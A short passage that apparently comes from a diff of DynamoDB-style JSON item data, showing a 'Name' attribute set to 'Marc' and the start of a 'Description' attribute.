- },
- "Name": {
- "S": "Marc"
- },
- "Description": {
- "S": "